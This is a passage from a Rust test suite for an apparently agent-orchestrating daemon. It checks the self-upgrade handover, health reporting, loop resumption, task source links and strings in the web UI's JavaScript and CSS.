18812 let repo = TempDir::new().expect("repo dir");
18828 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
18829 .expect("write magi.toml");
18830 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
18831
18832 let res = fx.post("/api/upgrade", None).await;
18838 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
18839 let body = res.json();
18840 assert!(body["to"].is_null(), "there was no release to move to");
18841 assert!(body["parked"].is_null(), "and nothing was parked");
18842 assert!(
18843 body["detail"]
18844 .as_str()
18845 .unwrap()
18846 .contains("nothing restarted"),
18847 "{body:?}"
18848 );
18849 }
18850
18851 #[tokio::test]
18852 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
18853 let repo = TempDir::new().expect("repo dir");
18858 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
18859 .expect("write magi.toml");
18860 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
18861
18862 let health = fx.get("/api/health").await.json();
18863 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
18864 assert_eq!(
18865 health["update"]["available"], false,
18866 "checking is off, which reads as \"unknown\", not \"none\""
18867 );
18868 assert!(health["update"]["to"].is_null());
18869 assert!(
18870 health["upgrade"].is_null(),
18871 "nothing has ever asked this deck to upgrade"
18872 );
18873 }
18874
18875 #[tokio::test]
18876 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
18877 let fx = Fixture::start().await;
18878 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
18879
18880 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
18881 progress.parked_run = Some("20260905-000000-cd51".to_owned());
18882 progress.advance(crate::updater::Stage::Parking);
18883 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
18884
18885 let health = fx.get("/api/health").await.json();
18886 assert_eq!(health["upgrade"]["stage"], "parking");
18887 assert_eq!(health["upgrade"]["from"], "0.5.1");
18888 assert_eq!(health["upgrade"]["to"], "0.5.2");
18889 let waiting_on = health["upgrade"]["waiting_on"]
18890 .as_str()
18891 .expect("waiting_on is set while parking a known run");
18892 assert!(waiting_on.contains("cd51"), "{waiting_on}");
18893 assert!(waiting_on.contains("implementing"), "{waiting_on}");
18894 }
18895
18896 #[tokio::test]
18897 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
18898 let fx = Fixture::start().await;
18899 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
18900 progress.advance(crate::updater::Stage::Done);
18901 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
18902
18903 let health = fx.get("/api/health").await.json();
18904 assert_eq!(health["upgrade"]["stage"], "done");
18905 assert!(
18906 health["upgrade"]["waiting_on"].is_null(),
18907 "nothing to wait on once it is done"
18908 );
18909 }
18910
18911 #[tokio::test]
18912 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
18913 let home = TempDir::new().expect("temp home");
18914 let runs = home.path().join("runs");
18915 std::fs::create_dir_all(&runs).expect("runs dir");
18916 let ui = Ui::new(
18917 Queue::at(home.path().join("queue")),
18918 Questions::at(home.path().join("questions")),
18919 Talks::at(home.path().join("talks")),
18920 runs,
18921 home.path().to_path_buf(),
18922 PathBuf::from("/repo/magi"),
18923 )
18924 .with_launch(launch_idle);
18925 let looping = ui.looping();
18926 let turns = ui.turns();
18927 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
18928 .await
18929 .expect("bind loopback");
18930 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
18931
18932 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
18933 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
18934
18935 hand_over(
18936 home.path(),
18937 &looping,
18938 &turns,
18939 &|_: &[String]| Duration::from_secs(5),
18940 served,
18941 |_| Ok(1),
18942 )
18943 .await
18944 .expect("hand over");
18945
18946 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
18947 assert_eq!(
18948 after.stage,
18949 crate::updater::Stage::Restarting,
18950 "hand_over owns the record through parking and up to restarting; \
18951 the successor is what finishes it"
18952 );
18953 }
18954
18955 #[tokio::test]
18958 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
18959 for fail in [false, true] {
18960 let home = TempDir::new().expect("temp home");
18961 let ui = idle_ui(&home);
18962 let looping = ui.looping();
18963 let turns = ui.turns();
18964 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
18965 .await
18966 .expect("bind loopback");
18967 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
18968 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
18969 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
18970
18971 let calls = std::sync::atomic::AtomicUsize::new(0);
18972 let outcome = hand_over(
18973 home.path(),
18974 &looping,
18975 &turns,
18976 &|_: &[String]| Duration::from_secs(5),
18977 served,
18978 |_| {
18979 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
18980 if fail {
18981 anyhow::bail!("no exec")
18982 } else {
18983 Ok(4242)
18984 }
18985 },
18986 )
18987 .await;
18988 assert_eq!(outcome.is_err(), fail);
18989 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
18990
18991 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
18992 .expect("upgrade.log is written under the home");
18993 for step in [
18994 "entered",
18995 "finish_loop",
18996 "listener released",
18997 "starting the successor",
18998 ] {
18999 assert!(log.contains(step), "missing `{step}` in:\n{log}");
19000 }
19001 assert!(
19002 log.contains(if fail { "did not start" } else { "pid 4242" }),
19003 "{log}"
19004 );
19005 }
19006 }
19007
19008 #[tokio::test]
19011 async fn the_handover_signal_wakes_one_waiter_once() {
19012 let signal = Notify::new();
19013 signal.notify_one();
19015 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
19016 .await
19017 .expect("an early signal is still seen");
19018 assert!(
19020 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
19021 .await
19022 .is_err(),
19023 "a consumed signal must not wake a second time"
19024 );
19025 let signal = std::sync::Arc::new(signal);
19027 let waiter = tokio::spawn({
19028 let signal = std::sync::Arc::clone(&signal);
19029 async move { wait_for_handover(&signal).await }
19030 });
19031 tokio::time::sleep(Duration::from_millis(20)).await;
19032 assert!(!waiter.is_finished(), "nothing was signalled yet");
19033 signal.notify_one();
19034 tokio::time::timeout(Duration::from_secs(5), waiter)
19035 .await
19036 .expect("a late signal wakes the waiter")
19037 .expect("join");
19038 }
19039
19040 #[tokio::test]
19041 async fn health_says_how_long_a_handover_has_been_stuck() {
19042 let fx = Fixture::start().await;
19043 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
19044 progress.advance(crate::updater::Stage::Replaced);
19045 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
19046 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
19047
19048 let health = fx.get("/api/health").await.json();
19049 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
19050 assert!(stuck >= 600, "{stuck}");
19051 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
19052 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
19053 }
19054
19055 #[tokio::test]
19056 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
19057 let home = tempfile::tempdir().expect("temp home");
19058 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
19059 progress.advance(crate::updater::Stage::Parking);
19060 crate::updater::write_progress(home.path(), &progress).expect("seed");
19061 let mut again = progress.clone();
19063 again.advance(crate::updater::Stage::Replaced);
19064 crate::updater::write_progress(home.path(), &again).expect("replaced");
19065 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
19066 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
19067 let after = crate::updater::read_progress(home.path()).expect("record");
19068 assert_eq!(after.stage, crate::updater::Stage::Parking);
19069 }
19070
19071 #[tokio::test]
19072 async fn health_does_not_call_a_live_parking_wait_stuck() {
19073 let fx = Fixture::start().await;
19074 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
19075 progress.parked_run = Some("20260905-000000-cd51".to_owned());
19076 progress.advance(crate::updater::Stage::Parking);
19077 let hours = Duration::from_secs(3 * 3600);
19078 progress.started_at = Timestamp::now() - hours;
19079 progress.updated_at = Timestamp::now() - hours;
19080 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
19081 let _lease = crate::updater::LeaseGuard::enter(
19082 fx.home.path(),
19083 Some("20260905-000000-cd51".to_owned()),
19084 );
19085
19086 let health = fx.get("/api/health").await.json();
19087 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
19088 assert!(health["upgrade"]["stuck_kind"].is_null());
19089 assert_eq!(health["upgrade"]["handover_alive"], true);
19090 let waiting_on = health["upgrade"]["waiting_on"]
19091 .as_str()
19092 .expect("waiting_on");
19093 assert!(waiting_on.contains("cd51"), "{waiting_on}");
19094 }
19095
19096 fn idle_ui(home: &TempDir) -> Ui {
19097 let runs = home.path().join("runs");
19098 std::fs::create_dir_all(&runs).expect("runs dir");
19099 Ui::new(
19100 Queue::at(home.path().join("queue")),
19101 Questions::at(home.path().join("questions")),
19102 Talks::at(home.path().join("talks")),
19103 runs,
19104 home.path().to_path_buf(),
19105 PathBuf::from("/repo/magi"),
19106 )
19107 .with_launch(launch_idle)
19108 }
19109
19110 async fn park_fixture(
19111 home: &TempDir,
19112 ) -> (
19113 Ui,
19114 Arc<Mutex<LoopState>>,
19115 Arc<Mutex<TalkTurns>>,
19116 tokio::task::JoinHandle<std::io::Result<()>>,
19117 ) {
19118 let ui = idle_ui(home);
19119 let looping = ui.looping();
19120 let turns = ui.turns();
19121 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
19122 .await
19123 .expect("bind loopback");
19124 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
19125 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
19126 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
19127 (ui, looping, turns, served)
19128 }
19129
19130 #[tokio::test]
19134 async fn hand_over_waits_for_a_running_chat_turn() {
19135 let home = TempDir::new().expect("temp home");
19136 let (ui, looping, turns, served) = park_fixture(&home).await;
19137 let ui = Arc::new(ui);
19138 let id = "20260901-000000-chat";
19139 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
19140
19141 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
19142 let handover = tokio::spawn({
19143 let home = home.path().to_path_buf();
19144 let turns = Arc::clone(&turns);
19145 let calls = Arc::clone(&calls);
19146 async move {
19147 hand_over(
19148 &home,
19149 &looping,
19150 &turns,
19151 &|_: &[String]| Duration::from_secs(60),
19152 served,
19153 move |_| {
19154 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
19155 Ok(1)
19156 },
19157 )
19158 .await
19159 }
19160 });
19161
19162 let waiting = async {
19163 for _ in 0..200 {
19164 if crate::updater::read_progress(home.path())
19165 .is_some_and(|p| p.parked_talks == [id.to_owned()])
19166 {
19167 return;
19168 }
19169 tokio::time::sleep(Duration::from_millis(25)).await;
19170 }
19171 panic!("the park never named the chat turn");
19172 };
19173 waiting.await;
19174 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
19175
19176 let refused = ui.begin_talk_turn("20260901-000000-late").err();
19179 assert!(
19180 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
19181 "a direct start says an upgrade is in progress"
19182 );
19183 assert!(
19184 ui.begin_queued_talk_turn("20260901-000000-late")
19185 .expect("queued claim")
19186 .is_none()
19187 );
19188 assert!(matches!(
19189 ui.begin_talk_turn_unless_pending("20260901-000000-late")
19190 .expect("start"),
19191 TalkTurnStart::Busy
19192 ));
19193 assert_eq!(turns.lock().unwrap().live.len(), 1);
19194
19195 let progress = crate::updater::read_progress(home.path()).expect("progress");
19197 let view = upgrade_progress_view(&ui, progress);
19198 assert!(
19199 view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
19200 "{:?}",
19201 view.waiting_on
19202 );
19203
19204 assert!(!handover.is_finished());
19205 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
19206 drop(turn);
19207 handover.await.expect("join").expect("hand over");
19208 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
19209 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
19210 }
19211
19212 #[tokio::test]
19215 async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
19216 let home = TempDir::new().expect("temp home");
19217 let (ui, looping, turns, served) = park_fixture(&home).await;
19218 let ui = Arc::new(ui);
19219 let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
19221 lock_or_recover(&looping).live = Some(Live {
19222 stop: daemon::Stop::new(),
19223 handle: tokio::spawn(async move {
19224 let _ = loop_ended.await;
19225 }),
19226 opts: daemon::Opts::default(),
19227 });
19228
19229 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
19230 let handover = tokio::spawn({
19231 let home = home.path().to_path_buf();
19232 let turns = Arc::clone(&turns);
19233 let calls = Arc::clone(&calls);
19234 async move {
19235 hand_over(
19236 &home,
19237 &looping,
19238 &turns,
19239 &|_: &[String]| Duration::from_secs(60),
19240 served,
19241 move |_| {
19242 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
19243 Ok(1)
19244 },
19245 )
19246 .await
19247 }
19248 });
19249
19250 let reached = async {
19251 for _ in 0..200 {
19252 if crate::updater::read_progress(home.path())
19253 .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
19254 {
19255 return;
19256 }
19257 tokio::time::sleep(Duration::from_millis(25)).await;
19258 }
19259 panic!("the hand-over never reached parking");
19260 };
19261 reached.await;
19262
19263 assert!(!turns.lock().unwrap().parking);
19265 let turn = ui
19266 .begin_talk_turn("20260901-000000-chat")
19267 .expect("claim")
19268 .expect("a turn can start while the loop parks");
19269
19270 end_loop.send(()).expect("loop still waiting");
19272 for _ in 0..200 {
19273 if turns.lock().unwrap().parking {
19274 break;
19275 }
19276 tokio::time::sleep(Duration::from_millis(25)).await;
19277 }
19278 assert!(
19279 turns.lock().unwrap().parking,
19280 "closed once the loop is done"
19281 );
19282 let refused = ui.begin_talk_turn("20260901-000000-late").err();
19283 assert!(
19284 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
19285 "no turn starts once the loop is done"
19286 );
19287 assert!(
19288 ui.begin_queued_talk_turn("20260901-000000-late")
19289 .expect("queued claim")
19290 .is_none()
19291 );
19292 assert!(!handover.is_finished());
19293 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
19294
19295 drop(turn);
19296 handover.await.expect("join").expect("hand over");
19297 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
19298 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
19299 }
19300
19301 #[tokio::test]
19304 async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
19305 let home = TempDir::new().expect("temp home");
19306 let (ui, looping, turns, served) = park_fixture(&home).await;
19307 let id = "20260901-000000-stuk";
19308 let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
19309
19310 let calls = std::sync::atomic::AtomicUsize::new(0);
19311 hand_over(
19312 home.path(),
19313 &looping,
19314 &turns,
19315 &|_: &[String]| Duration::from_millis(300),
19316 served,
19317 |_| {
19318 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
19319 Ok(1)
19320 },
19321 )
19322 .await
19323 .expect("hand over");
19324 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
19325
19326 let progress = crate::updater::read_progress(home.path()).expect("progress");
19327 assert_eq!(progress.stage, crate::updater::Stage::Restarting);
19328 assert!(
19329 progress.detail.as_deref().is_some_and(|d| d.contains(id)),
19330 "{:?}",
19331 progress.detail
19332 );
19333 let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
19334 assert!(
19335 log.contains("handing over anyway") && log.contains(id),
19336 "{log}"
19337 );
19338 }
19339
19340 #[tokio::test]
19343 async fn drain_loop_starts_no_turn_while_parking() {
19344 let tmp = TempDir::new().expect("tempdir");
19345 let repo = tmp.path().join("repo");
19346 std::fs::create_dir_all(&repo).expect("repo dir");
19347 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
19348 let home = TempDir::new().expect("temp home");
19349 let talks = Talks::at(home.path().join("talks"));
19350 let ui = Ui::new(
19351 Queue::at(home.path().join("queue")),
19352 Questions::at(home.path().join("questions")),
19353 talks.clone(),
19354 home.path().join("runs"),
19355 home.path().to_path_buf(),
19356 repo.clone(),
19357 )
19358 .with_worktrees_root(home.path().join("wt"));
19359 let cfg = config_for(&repo).await.expect("discover config");
19360 let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
19361 let id = talk.id.clone();
19362 talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
19363 let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
19364 let turns = ui.turns();
19365 let parking = ParkingTurns::begin(&turns);
19366
19367 drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
19368
19369 assert!(
19370 turns.lock().unwrap().live.is_empty(),
19371 "the slot is given up"
19372 );
19373 let fresh = talks.get(&id).expect("talk");
19374 assert_eq!(fresh.pending, "later", "the draft is still queued");
19375 assert!(fresh.turns.is_empty(), "no turn ran");
19376 drop(parking);
19377 }
19378
19379 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
19381 let looping = ui.looping();
19382 let turns = ui.turns();
19383 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
19384 .await
19385 .expect("bind loopback");
19386 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
19387 let told = std::sync::Mutex::new(None);
19388 hand_over(
19389 home.path(),
19390 &looping,
19391 &turns,
19392 &|_: &[String]| Duration::from_secs(5),
19393 served,
19394 |resume| {
19395 *told.lock().unwrap() = Some(resume);
19396 Ok(1)
19397 },
19398 )
19399 .await
19400 .expect("hand over");
19401 told.into_inner().unwrap().expect("successor was started")
19402 }
19403
19404 #[tokio::test]
19405 async fn a_running_loop_is_resumed_by_the_successor() {
19406 let home = TempDir::new().expect("temp home");
19407 let ui = idle_ui(&home);
19408 ui.start_loop(None).expect("start");
19409 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
19410 for _ in 0..500 {
19412 if !ui.loop_view(None).running {
19413 break;
19414 }
19415 tokio::time::sleep(Duration::from_millis(2)).await;
19416 }
19417 assert!(handed_over(&home, ui).await, "a running loop must resume");
19418
19419 let successor = idle_ui(&home);
19420 assert!(!successor.loop_view(None).running);
19421 assert!(successor.resume_after_handover(true));
19422 assert!(successor.loop_view(None).running);
19423 successor.stop_loop(None, false).expect("stop");
19424 }
19425
19426 #[tokio::test]
19427 async fn a_second_upgrade_request_keeps_the_resume_intent() {
19428 let home = TempDir::new().expect("temp home");
19429 let ui = idle_ui(&home);
19430 ui.start_loop(None).expect("start");
19431 ui.park_for_upgrade("0.1.0", Some("0.1.1"))
19432 .expect("first park");
19433 ui.park_for_upgrade("0.1.0", Some("0.1.1"))
19434 .expect("second park");
19435 assert!(handed_over(&home, ui).await);
19436 }
19437
19438 #[tokio::test]
19439 async fn a_stop_during_the_handover_wait_is_honoured() {
19440 let home = TempDir::new().expect("temp home");
19441 let ui = idle_ui(&home);
19442 ui.start_loop(None).expect("start");
19443 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
19444 ui.stop_loop(None, false).expect("stop");
19445 assert!(!handed_over(&home, ui).await);
19446 }
19447
19448 #[tokio::test]
19449 async fn an_idle_loop_stays_stopped_across_the_handover() {
19450 let home = TempDir::new().expect("temp home");
19451 let ui = idle_ui(&home);
19452 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
19453 assert!(!handed_over(&home, ui).await);
19454
19455 let successor = idle_ui(&home);
19456 assert!(!successor.resume_after_handover(false));
19457 assert!(!successor.loop_view(None).running);
19458 }
19459
19460 #[tokio::test]
19461 async fn a_loop_the_operator_stopped_is_not_resumed() {
19462 let home = TempDir::new().expect("temp home");
19463 let ui = idle_ui(&home);
19464 ui.start_loop(None).expect("start");
19465 ui.stop_loop(None, false).expect("stop");
19466 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
19467 assert!(!handed_over(&home, ui).await);
19468 }
19469
19470 #[test]
19471 fn only_an_explicit_one_requests_a_resume() {
19472 assert!(!resume_requested(None));
19473 assert!(!resume_requested(Some("0".into())));
19474 assert!(!resume_requested(Some("".into())));
19475 assert!(resume_requested(Some("1".into())));
19476 }
19477
19478 #[test]
19479 fn the_upgrade_button_arms_before_it_restarts_anything() {
19480 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
19483 assert!(APP_JS.contains("Replace the binary and restart?"));
19484 assert!(APP_JS.contains("function confirmed("));
19485 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
19490 assert!(
19494 APP_JS.contains("Parking, then restarting"),
19495 "the button says what it is waiting for"
19496 );
19497 assert!(APP_JS.contains("if (!out.to)"));
19500 }
19501
19502 #[test]
19503 fn stopping_the_loop_arms_but_starting_does_not() {
19504 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
19507 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
19508 assert!(APP_JS.contains("confirmed(button, question)"));
19509 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
19512 assert!(APP_JS.contains("const label = btn.textContent;"));
19513 assert!(!APP_JS.contains("Neither direction is guarded"));
19514 }
19515
19516 #[test]
19517 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
19518 assert!(
19519 APP_JS.contains("state.health.version"),
19520 "the operator wants to know what is running even with nothing newer"
19521 );
19522 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
19523 }
19524
19525 #[test]
19526 fn the_upgrade_button_names_its_destination() {
19527 assert!(
19528 APP_JS.contains("`Update to ${update.to}`"),
19529 "pressing the button should not be a surprise about what it moves to"
19530 );
19531 }
19532
19533 #[test]
19534 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
19535 for stage in ["downloading", "replaced", "parking", "restarting"] {
19536 assert!(
19537 APP_JS.contains(&format!("\"{stage}\"")),
19538 "the phone must be able to tell {stage} apart from the others"
19539 );
19540 }
19541 assert!(APP_JS.contains(".waiting_on"));
19542 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
19547 assert!(APP_JS.contains("reconnects on its own"));
19548 }
19549
19550 #[test]
19551 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
19552 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
19561 ..APP_JS.find("function upgrade(").expect("upgrade")];
19562 assert!(
19563 !body.contains(
19564 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
19565 ),
19566 "a failed upgrade must not take the whole strip over the way it used to"
19567 );
19568 assert!(
19569 body.contains("upgradeFailNote"),
19570 "the failure has to reach the loop's own note instead"
19571 );
19572 assert_eq!(
19576 body.matches("upgradeFailNote].filter(Boolean).join")
19577 .count(),
19578 2,
19579 "both loop-why writers (quiet and control) must fold the note in"
19580 );
19581 }
19582
19583 #[test]
19584 fn an_overdue_upgrade_eventually_asks_for_a_human() {
19585 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
19588 assert!(APP_JS.contains("function upgradeOverdue("));
19589 }
19590
19591 #[test]
19592 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
19593 assert!(
19594 APP_JS.contains("Updated to ${upgradeInfo.to"),
19595 "the operator who asked for the restart wants to know it worked"
19596 );
19597 }
19598
19599 #[test]
19600 fn an_error_is_visible_from_where_the_button_is() {
19601 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
19606 ..APP_CSS.find(".alert-text").expect(".alert-text")];
19607 assert!(
19608 alert.contains("position: fixed"),
19609 "an error about the thing under your thumb has to be visible from \
19610 where your thumb is: {alert}"
19611 );
19612 assert!(
19613 alert.contains("z-index: 25"),
19614 "above the dock (20) and the run-actions FAB (15), so neither \
19615 buries it: {alert}"
19616 );
19617 assert!(
19618 alert.contains("var(--tap)"),
19619 "and clear of the dock and the home indicator: {alert}"
19620 );
19621 assert!(
19624 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
19625 "the FAB's column stays free: {alert}"
19626 );
19627 }
19628
19629 #[tokio::test]
19630 async fn an_older_attempt_says_what_replaced_it() {
19631 let fx = Fixture::start().await;
19632 let q = fx.queue();
19633 let runs = fx.runs();
19634 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
19635 write_run(&runs, first, RunStatus::Stalled);
19636 write_run(&runs, second, RunStatus::Blocked);
19637
19638 let mut t = Task::new(
19639 "one task".to_owned(),
19640 "do it".to_owned(),
19641 PathBuf::from("/repo"),
19642 Source::Human,
19643 );
19644 t.runs = vec![first.to_owned(), second.to_owned()];
19645 q.put(&mut t).expect("put");
19646
19647 let rows = fx.get("/api/runs").await.json();
19651 let by = |short: &str| -> Value {
19652 rows.as_array()
19653 .unwrap()
19654 .iter()
19655 .find(|r| r["short"] == short)
19656 .cloned()
19657 .unwrap_or(Value::Null)
19658 };
19659 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
19660 assert!(
19661 by("bbbb")["superseded_by"].is_null(),
19662 "the latest attempt is not superseded by anything"
19663 );
19664 assert!(APP_JS.contains("run.superseded_by"));
19666 assert!(APP_JS.contains("Superseded by"));
19667 }
19668
19669 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
19670 let mut t = Task::new(
19671 "one task".to_owned(),
19672 "do it".to_owned(),
19673 PathBuf::from("/repo"),
19674 Source::Human,
19675 );
19676 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
19677 t.status = status;
19678 t
19679 }
19680
19681 #[test]
19682 fn source_link_picks_the_page_that_filed_the_task() {
19683 let agent = |node: &str| Source::Agent {
19684 run: "20260904-014455-ab12".to_owned(),
19685 node: node.to_owned(),
19686 };
19687 let chat = source_link(&agent("chat")).expect("chat link");
19688 assert_eq!(chat.kind, "chat");
19689 assert_eq!(chat.id, "20260904-014455-ab12");
19690 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
19691 let run = source_link(&agent("implement")).expect("run link");
19692 assert_eq!(
19693 (run.kind, run.href.as_str()),
19694 ("run", "#/runs/20260904-014455-ab12")
19695 );
19696 assert_eq!(source_link(&Source::Human), None);
19697 assert_eq!(
19698 source_link(&Source::Issue {
19699 number: 3,
19700 repo: "o/r".to_owned()
19701 }),
19702 None
19703 );
19704 let odd = source_link(&Source::Agent {
19705 run: "a b/c".to_owned(),
19706 node: "chat".to_owned(),
19707 })
19708 .expect("link");
19709 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
19710 }
19711
19712 #[test]
19713 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
19714 assert!(
19715 !APP_JS.contains("src.node === \"chat\""),
19716 "inline href rule is back"
19717 );
19718 assert!(
19719 APP_JS.matches("sourceLinkOf(").count() >= 4,
19720 "helper must serve every page"
19721 );
19722 assert!(
19723 APP_JS.matches("openChatLink(").count() >= 3,
19724 "the run page still needs its explicit chat link"
19725 );
19726 assert!(
19727 !APP_JS.contains("const openChat = el("),
19728 "the Queue card duplicates its source label link again"
19729 );
19730 assert!(
19731 APP_JS.contains("metaKids.push(link ? el(\"a\""),
19732 "the task page must link a chat source label too"
19733 );
19734 }
19735
19736 #[test]
19737 fn task_ref_carries_the_source_link_for_a_chat_task() {
19738 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
19739 t.source = Source::Agent {
19740 run: "20260904-014455-ab12".to_owned(),
19741 node: "chat".to_owned(),
19742 };
19743 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
19744 let v = serde_json::to_value(&out).expect("json");
19745 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
19746 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
19747 assert_eq!(v["source_label"], t.source.label());
19748
19749 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
19750 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
19751 .expect("json");
19752 assert!(v["source_link"].is_null(), "{v}");
19753 }
19754
19755 #[test]
19756 fn task_view_serializes_source_link() {
19757 let mut t = Task::new(
19758 "t".to_owned(),
19759 "t".to_owned(),
19760 PathBuf::from("/repo"),
19761 Source::Agent {
19762 run: "20260901-000000-aaaa".to_owned(),
19763 node: "implement".to_owned(),
19764 },
19765 );
19766 t.runs.clear();
19767 let v = serde_json::to_value(TaskView::from(t)).expect("json");
19768 assert_eq!(v["source_link"]["kind"], "run", "{v}");
19769 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
19770 }
19771
19772 #[test]
19773 fn task_view_serializes_urgent_flag() {
19774 let mut t = Task::new(
19775 "t".to_owned(),
19776 "t".to_owned(),
19777 PathBuf::from("/repo"),
19778 Source::Human,
19779 );
19780 let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
19781 assert_eq!(v["urgent"], false, "{v}");
19782 t.urgent = true;
19783 let v = serde_json::to_value(TaskView::from(t)).expect("json");
